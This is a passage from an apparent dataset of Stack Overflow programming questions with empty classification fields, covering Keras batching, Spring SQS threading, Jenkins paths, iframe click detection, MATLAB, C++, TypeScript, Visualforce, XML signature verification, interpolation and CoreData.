href=\"https://github.com/raghakot/keras-resnet\" rel=\"nofollow noreferrer\">https://github.com/raghakot/keras-resnet</a>) to create a model that petrophysicists can use to classify other borehole images. </p>\n\n<p>Now, if I'm not mistaken, any image data inputed into a keras model should have the shape (number_of_samples, img_Height, img_Width, number_img_channels), so in order for this to work I need to modify the keras built-in batch function so that instead of getting a batch by taking something like:</p>\n\n<pre><code>Xbatch = X[batch_index,:,:,:]\n</code></pre>\n\n<p>it actually uses a certain window around each \"batch_index\", so that the function returns something like:</p>\n\n<pre><code>H = 21 #window height\nXbatch = np.zeros((len(batch_index)-1, img_Height, img_Width, number_img_channels)\nfor i in np.arange(0,len(batch_index)-1):\n Xbatch[i,:,:,:] = X[batch_index[i]+H, :, :].reshape((1, H, img_Width, number_img_channels))\n</code></pre>\n\n<p>The problem is that I have not idea which is the function (or file) of the keras module that I should modify in order to make this work. I think it might have something to do with the \"keras.preprocessing.image.ImageDataGenerator\" function, but I have not been able to find the right place where I should put my code.</p>\n\n<p>This is the part of my code that initializes the model and trains it, using data augmentation (copy/pasted from raghakot implementation):</p>\n\n<pre><code># Model definition\n model = resnet.ResnetBuilder.build_resnet_18((img_channels, __M__, __N__), nb_classes)\n model.compile(loss='categorical_crossentropy',\n optimizer='adam',\n metrics=['accuracy'])\n\n if not data_augmentation:\n print('Not using data augmentation.')\n model.fit(XTrain, YTrain,\n batch_size=batch_size,\n nb_epoch=nb_epoch,\n validation_data=(XTest, YTest),\n shuffle=True,\n callbacks=[lr_reducer, early_stopper, csv_logger])\n else:\n print('Using real-time data augmentation.')\n # This will do preprocessing and realtime data augmentation:\n datagen = ImageDataGenerator(\n featurewise_center=False, # set input mean to 0 over the dataset\n samplewise_center=False, # set each sample mean to 0\n featurewise_std_normalization=False, # divide inputs by std of the dataset\n samplewise_std_normalization=False, # divide each input by its std\n zca_whitening=False, # apply ZCA whitening\n rotation_range=0, # randomly rotate images in the range (degrees, 0 to 180)\n width_shift_range=0.1, # randomly shift images horizontally (fraction of total width)\n height_shift_range=0.1, # randomly shift images vertically (fraction of total height)\n horizontal_flip=True, # randomly flip images\n vertical_flip=False) # randomly flip images\n\n # Compute quantities required for featurewise normalization\n # (std, mean, and principal components if ZCA whitening is applied).\n datagen.fit(XTrain)\n\n train_generator = datagen.flow(XTrain,YTrain,batch_size=batch_size)\n # Fit the model on the batches generated by datagen.flow().\n model.fit_generator(datagen.flow(XTrain, YTrain, batch_size=batch_size),\n steps_per_epoch=XTrain.shape[0] // batch_size,\n validation_data=(XTest, YTest),\n epochs=nb_epoch, verbose=1, max_q_size=100,\n callbacks=[lr_reducer, early_stopper, csv_logger])\n</code></pre>\n\n<p>Thanks in advance!</p>\n"},{"Classification":"","Title":"SQSListener with ThreadpoolExecutor","Body":"<p>In the below example , I am setting the max and core pool size to 1. However no messages are being processed. When I enable debug log , I am able to see the messages being pulled from SQS , but I guess it is not being processed / deleted. However when I increase core and max pool size to 2 , the messages seem to be processed.</p>\n\n<p><strong>EDIT</strong></p>\n\n<p>I believe Spring maybe allocating a thread for receiver which reads data off the queue and hence it is unable to allocate a thread to listener which is processing the message. When I increased the corepoolsize to 2 , I saw that messages were being read off the queue. When I added another listener (for dead letter queue) , I encountered the same issue - 2 threads were not sufficient as the messages were not being processed. When I increased the corepoolsize to 3 , it started processing the messages. I assume in this case , 1 thread was allocated to read messages off the queue and 2 listeners were assigned 1 thread each.</p>\n\n<pre><code>@Configuration\npublic class SqsListenerConfiguration {\n\n @Bean\n @ConfigurationProperties(prefix = \"aws.configuration\")\n public ClientConfiguration clientConfiguration() {\n return new ClientConfiguration();\n }\n\n\n @Bean\n @Primary\n public AWSCredentialsProvider awsCredentialsProvider() {\n\n ProfileCredentialsProvider credentialsProvider = new ProfileCredentialsProvider(\"credential\");\n try {\n credentialsProvider.getCredentials();\n System.out.println(credentialsProvider.getCredentials().getAWSAccessKeyId());\n System.out.println(credentialsProvider.getCredentials().getAWSSecretKey());\n\n } catch (Exception e) {\n throw new AmazonClientException(\n \"Cannot load the credentials from the credential profiles file. \" +\n \"Please make sure that your credentials file is at the correct \" +\n \"location (~/.aws/credentials), and is in valid format.\",\n e);\n }\n return credentialsProvider;\n }\n\n\n @Bean\n @Primary\n public AmazonSQSAsync amazonSQSAsync() {\n return AmazonSQSAsyncClientBuilder.standard().\n withCredentials(awsCredentialsProvider()).\n withClientConfiguration(clientConfiguration()).\n build();\n }\n\n\n @Bean\n @ConfigurationProperties(prefix = \"aws.queue\")\n public SimpleMessageListenerContainer simpleMessageListenerContainer(AmazonSQSAsync amazonSQSAsync) {\n SimpleMessageListenerContainer simpleMessageListenerContainer = new SimpleMessageListenerContainer();\n simpleMessageListenerContainer.setAmazonSqs(amazonSQSAsync);\n simpleMessageListenerContainer.setMessageHandler(queueMessageHandler());\n simpleMessageListenerContainer.setMaxNumberOfMessages(10);\n simpleMessageListenerContainer.setTaskExecutor(threadPoolTaskExecutor());\n return simpleMessageListenerContainer;\n }\n\n\n @Bean\n public QueueMessageHandler queueMessageHandler() {\n QueueMessageHandlerFactory queueMessageHandlerFactory = new QueueMessageHandlerFactory();\n queueMessageHandlerFactory.setAmazonSqs(amazonSQSAsync());\n QueueMessageHandler queueMessageHandler = queueMessageHandlerFactory.createQueueMessageHandler();\n return queueMessageHandler;\n }\n\n\n @Bean\n public ThreadPoolTaskExecutor threadPoolTaskExecutor() {\n ThreadPoolTaskExecutor executor = new ThreadPoolTaskExecutor();\n executor.setCorePoolSize(1);\n executor.setMaxPoolSize(1);\n executor.setThreadNamePrefix(\"oaoQueueExecutor\");\n executor.initialize();\n return executor;\n }\n\n\n @Bean\n public QueueMessagingTemplate messagingTemplate(@Autowired AmazonSQSAsync amazonSQSAsync) {\n return new QueueMessagingTemplate(amazonSQSAsync);\n }\n\n\n}\n</code></pre>\n\n<p><strong>Listener Config</strong></p>\n\n<pre><code> @SqsListener(value = \"${oao.sqs.url}\", deletionPolicy = SqsMessageDeletionPolicy.ON_SUCCESS)\n public void onMessage(String serviceData, @Header(\"MessageId\") String messageId, @Header(\"ApproximateFirstReceiveTimestamp\") String approximateFirstReceiveTimestamp) {\n\n System.out.println(\" Data = \" + serviceData + \" MessageId = \" + messageId);\n\n repository.execute(serviceData);\n}\n</code></pre>\n"},{"Classification":"","Title":"jenkins npm or node not found tried the plugin jenkins suders","Body":"<p>npm: command not found it is unable to find node or npm in Jenkins user </p>\n\n<p>[</p>\n\n<pre><code>xxxxx-build-pipeline] $ /bin/bash /tmp/jenkins7546525206314731997.sh\nWhoami\njenkins\n/tmp/jenkins7546525206314731997.sh: line 4: node: command not found\n/tmp/jenkins7546525206314731997.sh: line 5: npm: command not found\n/var/lib/jenkins/workspace/ncc-do/xxxxxxx-pipeline\n/tmp/jenkins7546525206314731997.sh: line 9: serverless: command not found\nBuild step 'Execute shell' marked build as failure\nFinished: FAILURE\n</code></pre>\n"},{"Classification":"","Title":"OnClick and New Tab Opened, Redirect (Page Visibility API)","Body":"<p>I am trying to create a redirect (to a thank you page) when someone clicks a link within an ad (in an IFrame) on our site. I am thinking I could do this with a simple onclick event combined with detecting if a new tab is opened since I cannot listen for an onclick on the links within an iframe. I have found the Page Visibility API, which seems like the correct thing to use (since .blur is activated when they click on an iframe, even if they click on white space in the iframe instead of a URL) but all the scripts that I've found are a bit too complex for me to decode and simplify into something I can use. This is an example of what I'd like to do, and what I thought should work, but it doesn't seem to be working.</p>\n\n<pre><code>document.onclick = function() {\n if (document.hidden) {\n console.log(\"New window opened\");\n window.location.replace(\"www.example.com/thanks\");\n } else {\n console.log(\"Click\");\n // Do nothing\n return;\n }\n}\n</code></pre>\n\n<p>When I click on the page I do get the \"click\" response, but when I click on a link and open a new window I don't get redirected, nor do I get the redirect.</p>\n\n<p>EDIT: I see now that my problem is that I am not detecting ANY clicks at all within an iframe, even with a whole document listener. Is there a good way to fix this?</p>\n"},{"Classification":"","Title":"get all first occurences of a column based on the value of another column - matlab","Body":"<pre><code>m = repmat([0,0,0,0,0,0,1,1,1,1,1,1,2,2,2,2,2,2;11,11,22,22,33,33,11,11,22,22,33,33,11,11,22,22,33,33],1,2)'\n</code></pre>\n\n<p>I'm trying to get <em>all</em> <em>first</em> occurrences of <code>m(:,1)</code> when <code>m(:,2)==11</code><br>\nIn my example I would like to retrieve the vector : </p>\n\n<pre><code> 0 (from row 1, because it's the first occurrence of (0,11))\n 1 (from row 7, because it's the first occurrence of (1,11))\n 2 (from row 13, because it's the first occurrence of (2,11))\n 0 (from row 19, because it's the next first occurrence of (0,11))\n 1 (from row 25, because it's the next first occurrence of (1,11))\n 2 (from row 31, because it's the next first occurrence of (2,11))\n</code></pre>\n\n<p>I thought <code>unique</code> might be the function for this but <code>unique(m(:,1),'rows')</code> ignores repeated values</p>\n\n<pre><code>ans =\n\n 0\n 1\n 2\n</code></pre>\n"},{"Classification":"","Title":"Trying to sort alphabetical/numerical array input without using predefined sort function C++","Body":"<p>I am trying to set up an ordered list for a college project that sorts movie titles into order as you add them to the array alphabetically and numerically. I have tried using an ordered list using numbers that I have working but, the add function does not order them when using strings.</p>\n\n<p>Can anyone help me with the Add function? I need it to add the third entry I put into the array as the first as thats how it should be in a sorted list.</p>\n\n<pre><code>#include \"stdafx.h\"\n#include &lt;iostream&gt;\n#include &lt;string&gt;\n\nusing namespace std;\n\nclass OList\n{\nprivate:\n string data[3];\n int count; //First empty slot\npublic:\n OList();\n bool isEmpty();\n bool isFull();\n void Add(string newVal);\n string Remove(string newVal);\n bool LinearSearch(string searchVal);\n void Display();\n};\n\nOList::OList()\n{\n count = 0;\n}\n\nbool OList::isEmpty()\n{\n if (count == 0)\n {\n return true;\n }\n else\n {\n return false;\n }\n}\n\nbool OList::isFull()\n{\n if (count == 3)\n {\n return true;\n }\n else\n {\n return false;\n }\n}\n\nvoid OList::Add(string movie)\n{\n data[count] = movie;\n int i ;\n if (isFull())\n return;\n\n //Find the insertion point\n for (i = 0; i &lt; count; i++);\n\n if (i == count)\n data[i] = movie; //Copy in the new value\n else\n\n //Make a Space\n for (int j = count - 1; j &gt;= i; j--)\n {\n data[j + 1] = data[j];\n }\n data[i] = movie; //Copy in the new value\n\n count++;\n}\n\nstring OList::Remove(string movie)\n{\n int i = LinearSearch(movie);\n string temp = movie;\n\n if (isEmpty())\n return false;\n i++;\n\n while (i &lt; count - 1)\n {\n data[i] = data[i + 1];\n i++;\n }\n\n count--;\n return temp;\n}\n\nbool OList::LinearSearch(string searchVal)\n{\n for (int i = 0; (i &lt; count) || (data[i] &gt; searchVal); i++)\n {\n if (data[i] == searchVal)\n return -1;\n }\n return false;\n}\n\nvoid OList::Display()\n{\n for (int i = 0; i &lt; count; i++)\n {\n cout &lt;&lt; data[i] &lt;&lt; endl;\n }\n}\n\n\n\nint main()\n{\n OList movies;\n string movie;\n\n\n\n movies.Add(\"Yeh Jawaani Hai Deewani | 1, 790, 000, 000 | Ayan Mukerji\");\n movies.Add(\"Dhoom 3 | 2,840,000,000 | Vijay Krishna Acharya\");\n movies.Add(\"Chennai Express | 2, 275, 000, 000 | Rohit Shetty\");\n\n movies.Display();\n\n std::cout &lt;&lt; endl;\n\n movies.Remove(\"Chennai Express | 2, 275, 000, 000 | Rohit Shetty\");\n\n\n\n if (!movies.isEmpty())\n {\n std::cout &lt;&lt; \"The queue is not empty!\" &lt;&lt; endl;\n }\n\n std::cout &lt;&lt; endl;\n\n movies.Display();\n\n system(\"pause\");\n\n return 0;\n}\n</code></pre>\n"},{"Classification":"","Title":"IntelliSense: Why can't I look up DOM/CSS types?","Body":"<p>Trying to write my first TypeScript project, the compiler was very picky:</p>\n\n<pre><code>let test = &lt;div style={{textAlign:'right'}}&gt;Text&lt;/div&gt;; // OK\n\nlet right = 'right';\nlet test2 = &lt;div style={{textAlign:right}}&gt;Text&lt;/div&gt;; /***ERROR***\n Type '{ style: { textAlign: string; }; }' is not assignable to \n type 'DetailedHTMLProps&lt;HTMLAttributes&lt;HTMLDivElement&gt;, HTMLDivElement&gt;'.\n Type '{ style: { textAlign: string; }; }' is not assignable to type \n 'HTMLAttributes&lt;HTMLDivElement&gt;'.\n Types of property 'style' are incompatible.\n Type '{ textAlign: string; }' is not assignable to type 'CSSProperties'.\n Types of property 'textAlign' are incompatible.\n Type 'string' is not assignable to type 'TextAlignProperty'.\n*/\n</code></pre>\n\n<p>However I could not look up types such as <code>TextAlignProperty</code> with Ctrl+Shift+O (in VSCode). Is there a way to make this work?</p>\n\n<p>P.S. Eventually I figured out that the types are defined in <strong>node_modules\\csstype\\index.d.ts</strong> and that I could write</p>\n\n<pre><code>import * as CSS from 'csstype';\n...\nlet right = 'right';\nlet test = &lt;div style={{textAlign:right as CSS.TextAlignProperty}}&gt;Text&lt;/div&gt;;\n</code></pre>\n\n<p>But there is an easier way:</p>\n\n<pre><code>let right = 'right';\nlet test = &lt;div style={{textAlign:right} as any}&gt;Text&lt;/div&gt;;\n</code></pre>\n\n<p>So the real question here is, how do you look something up <strong>without</strong> knowing the name of the module that defines it?</p>\n"},{"Classification":"","Title":"Displaying JSON contents on Visualforce page via Javascript Remoting - Unexpected Token Error","Body":"<p>I'm attempting to create a Visualforce page that displays Custom Object information (fields) upon clicking a button, like so: </p>\n\n<p><a href=\"https://i.stack.imgur.com/5zuvk.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/5zuvk.png\" alt=\"enter image description here\"></a></p>\n\n<p>The button click activates a method in my Apex class (which acts as the Visualforce page's controller extension). The method queries the Custom Object and returns a String which contains the information in JSON-formatting. </p>\n\n<p>Then, in the Visualforce page, I have Javascript print the result of that method to the page with <strong>JSON.parse(result)</strong>, but I receive <strong><em>\"Unexpected token &amp; in JSON at position 1\"</em></strong>. </p>\n\n<p>If I try to print the result without JSON.parse(), it will print the string, but it will still be in JSON format (i.e.: with the curly braces, quotes, colons):\n<a href=\"https://i.stack.imgur.com/xcALb.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/xcALb.png\" alt=\"enter image description here\"></a> </p>\n\n<p><strong>Visualforce Page:</strong></p>\n\n<pre><code>&lt;apex:page title=\"VF Page\" standardController=\"case\" extensions=\"ControllerExtension\"&gt;\n\n&lt;apex:includeScript value=\"{!$Resource.JQueryJs}\"/&gt;\n\n\n&lt;script type=\"text/javascript\"&gt;\n function getRemoteInfoJSON() {\n var var1 = \"{!case.Var1__c}\";\n var var2 = \"{!case.Var2__c}\";\n\n Visualforce.remoting.Manager.invokeAction(\n '{!$RemoteAction.ControllerExtension.getInfoJSON}', var1, var2, \n function(result, event){\n if(event.status){\n try {\n document.getElementById(\"pushDataHere\").innerHTML = JSON.parse(result); //produces error; if we just use 'result' instead of 'JSON.parse(result)', the string is printed in JSON format, with curly braces and such.\n }catch(err) {\n document.getElementById(\"pushDataHere\").innerHTML = err.message;\n }\n }\n }\n );\n };\n&lt;/script&gt;\n\n&lt;button onclick=\"getRemoteInfoJSON()\"&gt;BUTTON&lt;/button&gt; &lt;br /&gt; &lt;br /&gt;\n&lt;div id=\"pushDataHere\"&gt;\n&lt;/div&gt;\n\n&lt;/apex:page&gt;\n</code></pre>\n\n<p><strong>Method from Apex Class (Extension):</strong></p>\n\n<pre><code>@RemoteAction\nglobal static String getInfoJSON(String var1, String var2){\n sObject record = [SELECT &lt;lots of fields&gt; FROM Custom_Object__c WHERE Platform__c = :var1 AND ParentProductId__c = :var2];\n Map&lt;String, Schema.SObjectField&gt; fieldMap = Schema.getGlobalDescribe().get('Custom_Object__c').getDescribe().fields.getMap();\n\n Map&lt;String, String&gt; contents = new Map&lt;String, String&gt;();\n for(String fieldName : fieldMap.keySet()){\n try{\n String fieldLabel = fieldMap.get(fieldName).getDescribe().getLabel();\n String fieldContents = String.valueOf(record.get(fieldName));\n //We only want to add to our Contents list if the field has something in it\n if (fieldContents != null){\n contents.put(fieldLabel, fieldContents);\n }\n } catch (SObjectException e){\n System.debug('Whoopsie'); //Occurs when we try to retrieve contents of a field we didn't query in the 'record' variable.\n }\n }\n return JSON.serialize(contents); //returns '{\"Field1\": \"Value1\",\"Field2\": \"Value2\", \"Field3\": \"Value3\", \"Field4\": \"Value4\", \"Field5\": \"Value5\", \"Field6\": \"Value6\", \"Field7\": \"Value7\", \"Field8\": \"Value8\", \"Field9\": \"Value9\", \"Field10\": \"Value10\",\"Field11\": \"Value11\",\"Field12\": \"Value12\",\"Field13\": \"Value13\",\"Field14\": \"Value14\"}'\n}\n</code></pre>\n\n<p><strong>String returned by Apex Class:</strong></p>\n\n<pre><code>{\n \"Field1\": \"Value1\",\n \"Field2\": \"Value2\",\n \"Field3\": \"Value3\",\n \"Field4\": \"Value4\",\n \"Field5\": \"Value5\",\n \"Field6\": \"Value6\",\n \"Field7\": \"Value7\",\n \"Field8\": \"Value8\",\n \"Field9\": \"Value9\",\n \"Field10\": \"Value10\",\n \"Field11\": \"Value11\",\n \"Field12\": \"Value12\",\n \"Field13\": \"Value13\",\n \"Field14\": \"Value14\"\n}\n</code></pre>\n\n<p><strong>Error Received on button-click:</strong></p>\n\n<pre><code>Unexpected token &amp; in JSON at position 1\n</code></pre>\n\n<p><a href=\"https://i.stack.imgur.com/mGJ2Q.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/mGJ2Q.png\" alt=\"enter image description here\"></a></p>\n\n<p>Any insight is greatly appreciated.</p>\n"},{"Classification":"","Title":"CryptXMLVerifySignature returning CRYPT_XML_E_TRANSFORM","Body":"<p>I am having trouble verifying a signature in C++ using the CryptXmlVerifySignature function. I can verify the signature in php, but it seems like all the work I do in php is obfuscated away in this C++ function that doesn't allow me to troubleshoot.</p>\n\n<pre><code>hr = CryptXmlVerifySignature(pDoc-&gt;rgpSignature[signatureToValidate]-&gt;hSignature, hPublicKey, 0);\n</code></pre>\n\n<p>The line above sets hr to CRYPT_XML_E_TRANSFORM, which apparently means \"The specified transform is unsupported.\" </p>\n\n<p>The relevant XML is:</p>\n\n<pre><code>&lt;ds:SignedInfo&gt;\n &lt;ds:CanonicalizationMethod Algorithm=\"http://www.w3.org/2001/10/xml-exc-c14n#\" /&gt;\n &lt;ds:SignatureMethod Algorithm=\"http://www.w3.org/2001/04/xmldsig-more#rsa-sha256\" /&gt;\n &lt;ds:Reference URI=\"#id4842225024375674286716997\"&gt;\n &lt;ds:Transforms&gt;\n &lt;ds:Transform Algorithm=\"http://www.w3.org/2000/09/xmldsig#enveloped-signature\" /&gt;\n &lt;ds:Transform Algorithm=\"http://www.w3.org/2001/10/xml-exc-c14n#\"&gt;\n &lt;ec:InclusiveNamespaces xmlns:ec=\"http://www.w3.org/2001/10/xml-exc-c14n#\" PrefixList=\"xs\" /&gt;\n &lt;/ds:Transform&gt;\n &lt;/ds:Transforms&gt;\n &lt;ds:DigestMethod Algorithm=\"http://www.w3.org/2001/04/xmlenc#sha256\" /&gt;\n &lt;ds:DigestValue&gt;m20udGjm1LrD64y0xhQp89HeBGRk5OK156wm6fsMXpc=&lt;/ds:DigestValue&gt;\n &lt;/ds:Reference&gt;\n&lt;/ds:SignedInfo&gt;\n&lt;ds:SignatureValue&gt;NPsj6oqH0nSKXPpEj/MlCNC18wuh08DSgDXD+HYPzMEifvyDmQCB3QTOhU9Ur9gqgmClSo9Oqe8OX5nmvjmSlKpqzDOEvwWqvqjJcADP/Q4CO/MfOVBgE3dxN9tRrK2vZLhyfv7Ytd6NbVeYmI65S4ZTIonSfIllUxSQUxXsbztwQrX16XICRkd6u5mnDUfs1DeUSVwRUHpEbiHYFN7GUbXz+UEraNVzzywVWUg8BJT6h4JUYj2Rm+Ku+60Acj+9vA7nX4p4hNICcnHp/XpEdDdKIB2zRjv91WCEGlafROtt4C29rT2ku5E3bYuwoePGY4hKFiH00lKJ4cwcushv/w==&lt;/ds:SignatureValue&gt;\n</code></pre>\n\n<p>The x509 certificate is:</p>\n\n<pre><code>MIIDpDCCAoygAwIBAgIGAVyqFlFgMA0GCSqGSIb3DQEBCwUAMIGSMQswCQYDVQQGEwJVUzETMBEG\nA1UECAwKQ2FsaWZvcm5pYTEWMBQGA1UEBwwNU2FuIEZyYW5jaXNjbzENMAsGA1UECgwET2t0YTEU\nMBIGA1UECwwLU1NPUHJvdmlkZXIxEzARBgNVBAMMCmRldi0zNjM0ODIxHDAaBgkqhkiG9w0BCQEW\nDWluZm9Ab2t0YS5jb20wHhcNMTcwNjE1MDQ0OTA4WhcNMjcwNjE1MDQ1MDA4WjCBkjELMAkGA1UE\nBhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExFjAUBgNVBAcMDVNhbiBGcmFuY2lzY28xDTALBgNV\nBAoMBE9rdGExFDASBgNVBAsMC1NTT1Byb3ZpZGVyMRMwEQYDVQQDDApkZXYtMzYzNDgyMRwwGgYJ\nKoZIhvcNAQkBFg1pbmZvQG9rdGEuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA\niO3YHACAdWkG2pGZQuwtAPTLq7TUOWB0ZgC2vSVBgYWZ5juuUeIji4wh+zfaHMXiZe/wfFgC4l6f\nPb40Lw7f5Sur39J1vEb8EiF3qUwvMbRIFoxPsFwrgcfDoKYBcTx4VQHU/rig02VS+njzaqBL9e0R\nnyVoi5Ub1yeWTSq728V7NDHULm3gYHMaLqzN/z7IP64XqqSMpEE2lyeecijt2JdYkSp85al5o3wQ\nR5j8Vr6RcBtd12koggicdLqK9Rbvg4uljSk9gGuFYvNw+2SEP+k7dbuT+uiie8mwLFkwhcOGLZWY\nDmGPru76ZxTpuSPAenIXMRbeTIujmuGz+qZcCwIDAQABMA0GCSqGSIb3DQEBCwUAA4IBAQBXMN2m\nKMcVDVxic9zi0LYDJIMzZkR0jQ20ksrKSvo+dFtAmAFsI29vYY2Wva/sdwbVCKHqfHKLS51CIVFw\nPLxzmqtZeR7WTAac23WeFtJTSl824BvWgW1zr5EYRXr4JvEZFc0kwgCldzQT0NwZG40eWX2Id0nZ\nmjIxfNNuuH7lVXMK6yXCxa8/jF/EuowaE6DS+ZH12/INdl8O8u2Zi2v23tovNrMEs4a7dOINHWqh\n8vPgxKFkT2Dpcz4ry3vS4ad+9kyFK6yvtFPxM8YqHFT2ojjdVJ3IAJv8OPIi22jwMBu+M/Xl68Ib\nYIJ3PXmxSXsDx904T0iQSnyi+G2klY5l\n</code></pre>\n\n<p>This code actually works on other XML and the only difference I can actually see is the tag. The successful XML does not have it. Is there something special I must do to handle that?</p>\n\n<p>The following php indicates a \"Good\" result. So I am able to verify the signature using php.</p>\n\n<pre><code>$canonicalizedSignedinfo = '&lt;ds:SignedInfo xmlns:ds=\"http://www.w3.org/2000/09/xmldsig#\"&gt;&lt;ds:CanonicalizationMethod Algorithm=\"http://www.w3.org/2001/10/xml-exc-c14n#\"&gt;&lt;/ds:CanonicalizationMethod&gt;&lt;ds:SignatureMethod Algorithm=\"http://www.w3.org/2001/04/xmldsig-more#rsa-sha256\"&gt;&lt;/ds:SignatureMethod&gt;&lt;ds:Reference URI=\"#id4842225024375674286716997\"&gt;&lt;ds:Transforms&gt;&lt;ds:Transform Algorithm=\"http://www.w3.org/2000/09/xmldsig#enveloped-signature\"&gt;&lt;/ds:Transform&gt;&lt;ds:Transform Algorithm=\"http://www.w3.org/2001/10/xml-exc-c14n#\"&gt;&lt;ec:InclusiveNamespaces xmlns:ec=\"http://www.w3.org/2001/10/xml-exc-c14n#\" PrefixList=\"xs\"&gt;&lt;/ec:InclusiveNamespaces&gt;&lt;/ds:Transform&gt;&lt;/ds:Transforms&gt;&lt;ds:DigestMethod Algorithm=\"http://www.w3.org/2001/04/xmlenc#sha256\"&gt;&lt;/ds:DigestMethod&gt;&lt;ds:DigestValue&gt;m20udGjm1LrD64y0xhQp89HeBGRk5OK156wm6fsMXpc=&lt;/ds:DigestValue&gt;&lt;/ds:Reference&gt;&lt;/ds:SignedInfo&gt;';\n$signature = 'NPsj6oqH0nSKXPpEj/MlCNC18wuh08DSgDXD+HYPzMEifvyDmQCB3QTOhU9Ur9gqgmClSo9Oqe8OX5nmvjmSlKpqzDOEvwWqvqjJcADP/Q4CO/MfOVBgE3dxN9tRrK2vZLhyfv7Ytd6NbVeYmI65S4ZTIonSfIllUxSQUxXsbztwQrX16XICRkd6u5mnDUfs1DeUSVwRUHpEbiHYFN7GUbXz+UEraNVzzywVWUg8BJT6h4JUYj2Rm+Ku+60Acj+9vA7nX4p4hNICcnHp/XpEdDdKIB2zRjv91WCEGlafROtt4C29rT2ku5E3bYuwoePGY4hKFiH00lKJ4cwcushv/w==';\n$cert = \"-----BEGIN CERTIFICATE-----\\nMIIDpDCCAoygAwIBAgIGAVyqFlFgMA0GCSqGSIb3DQEBCwUAMIGSMQswCQYDVQQGEwJVUzETMBEG A1UECAwKQ2FsaWZvcm5pYTEWMBQGA1UEBwwNU2FuIEZyYW5jaXNjbzENMAsGA1UECgwET2t0YTEU MBIGA1UECwwLU1NPUHJvdmlkZXIxEzARBgNVBAMMCmRldi0zNjM0ODIxHDAaBgkqhkiG9w0BCQEW DWluZm9Ab2t0YS5jb20wHhcNMTcwNjE1MDQ0OTA4WhcNMjcwNjE1MDQ1MDA4WjCBkjELMAkGA1UE BhMCVVMxEzARBgNVBAgMCkNhbGlmb3JuaWExFjAUBgNVBAcMDVNhbiBGcmFuY2lzY28xDTALBgNV BAoMBE9rdGExFDASBgNVBAsMC1NTT1Byb3ZpZGVyMRMwEQYDVQQDDApkZXYtMzYzNDgyMRwwGgYJ KoZIhvcNAQkBFg1pbmZvQG9rdGEuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA iO3YHACAdWkG2pGZQuwtAPTLq7TUOWB0ZgC2vSVBgYWZ5juuUeIji4wh+zfaHMXiZe/wfFgC4l6f Pb40Lw7f5Sur39J1vEb8EiF3qUwvMbRIFoxPsFwrgcfDoKYBcTx4VQHU/rig02VS+njzaqBL9e0R nyVoi5Ub1yeWTSq728V7NDHULm3gYHMaLqzN/z7IP64XqqSMpEE2lyeecijt2JdYkSp85al5o3wQ R5j8Vr6RcBtd12koggicdLqK9Rbvg4uljSk9gGuFYvNw+2SEP+k7dbuT+uiie8mwLFkwhcOGLZWY DmGPru76ZxTpuSPAenIXMRbeTIujmuGz+qZcCwIDAQABMA0GCSqGSIb3DQEBCwUAA4IBAQBXMN2m KMcVDVxic9zi0LYDJIMzZkR0jQ20ksrKSvo+dFtAmAFsI29vYY2Wva/sdwbVCKHqfHKLS51CIVFw PLxzmqtZeR7WTAac23WeFtJTSl824BvWgW1zr5EYRXr4JvEZFc0kwgCldzQT0NwZG40eWX2Id0nZ mjIxfNNuuH7lVXMK6yXCxa8/jF/EuowaE6DS+ZH12/INdl8O8u2Zi2v23tovNrMEs4a7dOINHWqh 8vPgxKFkT2Dpcz4ry3vS4ad+9kyFK6yvtFPxM8YqHFT2ojjdVJ3IAJv8OPIi22jwMBu+M/Xl68Ib YIJ3PXmxSXsDx904T0iQSnyi+G2klY5l\\n-----END CERTIFICATE----- \";\n\nprint(openssl_verify($canonicalizedSignedinfo, base64_decode($signature), $cert, 'SHA256')===1 ? 'Good' : 'Bad');\n</code></pre>\n"},{"Classification":"","Title":"Inverse Distance Weighted interpolation in a grid(Python)","Body":"<p>My problem set up is the following: \nI have a gird made of cells,every cells have the same dimensions.\nOnly 4 cells are labeled(contain a measure) and are indicated in the image by some points.\nIn my python program i have a dataframe, in which each row represent a grid cell.Each cell has its coordinated and a label(that is None for all the cells excluding the 4 cells that contain a measure).</p>\n\n<p><a href=\"https://i.stack.imgur.com/JhMOt.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/JhMOt.png\" alt=\"enter image description here\"></a></p>\n\n<p><a href=\"https://i.stack.imgur.com/6WS38.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/6WS38.png\" alt=\"enter image description here\"></a></p>\n\n<p>What i want to do is the following: Use the inverse weighted interpolation in order to obtain a measure(label) for each unlabeled cell in my grid.\nDo you have any suggestion on how to face this problem, or you know if there similar examples of code that do the same thing. Any help is appreciated.\nThank you!</p>\n"},{"Classification":"","Title":"CoreData: error: API Misuse: error when using SectionNameKeyPath in NSFetchedResultsController","Body":"<p>In iOS10, I am getting this error when I call performFetch() with an NSFetchedResultsController when I try to pass in a SectionNameKeyPath:</p>\n\n<blockquote>\n <p>CoreData: error: API Misuse: Attempt to serialize store access on non-owning coordinator</p>\n</blockquote>\n\n<p>Here is some of the relevant code:</p>\n\n<pre><code> let sectionName = NSSortDescriptor(key: \"testClass\", ascending: true)\nlet number = NSSortDescriptor(key: \"ordinal\", ascending: true)\nlet inventoryName = NSSortDescriptor(key: \"name\", ascending: false)\nfetchRequest.sortDescriptors = [sectionName, number, inventoryName]\n\nif let srcName = sources.fetchedObjects?[0].srcName { //TODO: this is good for 1 source, multiple sources will require an external \"source\" variable.\n let predicate = NSPredicate(format: \"%@ == %K\", srcName, \"mySource.srcName\")\n fetchRequest.predicate = predicate\n}\n\nlet aFetchedResultsController = NSFetchedResultsController(fetchRequest: fetchRequest, managedObjectContext: self.moc, sectionNameKeyPath: \"testClass\", cacheName: \"Root\")\naFetchedResultsController.delegate = self\n_options = aFetchedResultsController\n\ndo {\n try _options!.performFetch()\n} catch {\n let nserror = error as NSError\n fatalError(\"Unresolved error \\(nserror), \\(nserror.userInfo)\")\n}\n</code></pre>\n\n<p>The fetch still runs, but I get a a bunch of the errors above and I believe it eventually causes a crash in the app a little later. If I pass in nil for SectionNameKeyPath, the error does not occur (but, of course, I need the sections in the result for a sectioned tableview). \"TestClass\" is a String in coredata and a property of the entity I'm fetching. Any idea what could be happening? </p>\n"},{"Classification":"","Title":"Firebase storage change 